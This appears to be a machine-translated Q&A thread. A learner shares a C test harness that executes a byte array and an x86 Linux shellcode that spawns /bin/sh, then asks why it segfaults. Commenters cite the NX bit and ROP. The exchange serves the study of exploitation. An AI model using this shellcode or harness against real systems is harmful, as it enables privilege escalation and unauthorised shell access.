我試過通過C程序運行大量的shell代碼來測試它們。這是Shellcode沒有運行
#include<stdio.h>
#include<string.h>
unsigned char code[] = "shell here";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
而這裏的例子的shellcode
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"\
"\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"\
"\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"\
"\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"\
"\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42"
(\ BIN \貓\等\影子) 運行
gcc sctest.c -o out ./out
這只是後給我的shellcode的長度和分割錯誤 我已經嘗試了很多不同的shellcode,但所有東西都給我segfault 我的dmesg |尾-1 [18440.783383]測試[8768]:測試[8049000 + 1000] 段錯誤的8049700 IP 08049700 SP bffff2ec錯誤15這有什麼錯我的shellcodes?
應該是一個常見問題。在現代系統上,只是執行數據將不再起作用,請參閱* NX位*。 –
@FelixPalmen謝謝!我已經花了很多時間試圖瞭解緩衝區溢出現在看起來我已經準備好利用測試程序 – desu
時下利用緩衝區溢出,您將需要更先進的技術,如ROP(返回導向編程) –